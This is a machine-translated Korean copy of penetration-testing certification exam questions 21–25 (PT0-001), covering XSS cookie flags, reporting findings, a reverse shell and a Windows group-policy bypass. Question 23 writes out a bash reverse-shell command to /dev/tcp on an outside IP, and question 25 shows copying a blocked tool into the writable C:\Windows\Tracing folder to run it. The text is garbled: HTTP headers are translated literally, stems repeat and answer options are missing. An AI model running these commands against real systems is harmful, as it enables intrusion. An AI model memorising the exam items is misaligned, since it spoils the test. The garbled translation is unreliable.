PT0-001 문제 21
다음 HTTP 응답이 주어집니다.
http/1.0 200 확인
서버: 아파치
세트 쿠키: AUTHID=879DHUT74D9A7C; http 전용
콘텐츠 유형: 텍스트/html
연결: 닫기
XSS 공격의 다음 측면 중 방지할 수 있는 것은 무엇입니까?
http/1.0 200 확인
서버: 아파치
세트 쿠키: AUTHID=879DHUT74D9A7C; http 전용
콘텐츠 유형: 텍스트/html
연결: 닫기
XSS 공격의 다음 측면 중 방지할 수 있는 것은 무엇입니까?
PT0-001 문제 22
사내 기술자 후배 기술자가 침투 테스트를 수행했습니다. 테스트 중에 기술자는 응용 프로그램이 사용자 계정 및 암호 정보가 있는 SQL 테이블을 공개할 수 있음을 발견했습니다. 다음 중 이 조사 결과와 그 중요성을 경영진에게 알리는 가장 효과적인 방법은 무엇입니까?
PT0-001 문제 23
테스터는 대상 시스템에서 다음 명령을 실행하려고 합니다.
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
다음 추가 명령 중 테스터의 Linux 시스템에서 실행해야 하는 추가 명령은 무엇입니까?
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
다음 추가 명령 중 테스터의 Linux 시스템에서 실행해야 하는 추가 명령은 무엇입니까?
PT0-001 문제 24
침투 테스터가 다음과 같은 취약점을 보고했습니다.
다음 중 MOST의 즉각적인 영향을 고려하여 취약성을 심각에서 낮음으로 평가하는 올바른 순서는 무엇입니까?
다음 중 MOST의 즉각적인 영향을 고려하여 취약성을 심각에서 낮음으로 평가하는 올바른 순서는 무엇입니까?
PT0-001 문제 25
침투 테스터는 다음 명령을 실행합니다.
C:\>%userprofile%\jtr.exe
이 프로그램은 그룹 정책에 의해 차단되었습니다.
C:\> accesschk.exe -w -s -q -u 사용자 C:\Windows
rw C:\Windows\Tracing
C:\>%userprofile%\jtr.exe 복사 C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe
jtr 버전 3.2...
jtr>
다음 중 공격자가 악용하는 로컬 호스트 취약점은 무엇입니까?
C:\>%userprofile%\jtr.exe
이 프로그램은 그룹 정책에 의해 차단되었습니다.
C:\> accesschk.exe -w -s -q -u 사용자 C:\Windows
rw C:\Windows\Tracing
C:\>%userprofile%\jtr.exe 복사 C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe
jtr 버전 3.2...
jtr>
다음 중 공격자가 악용하는 로컬 호스트 취약점은 무엇입니까?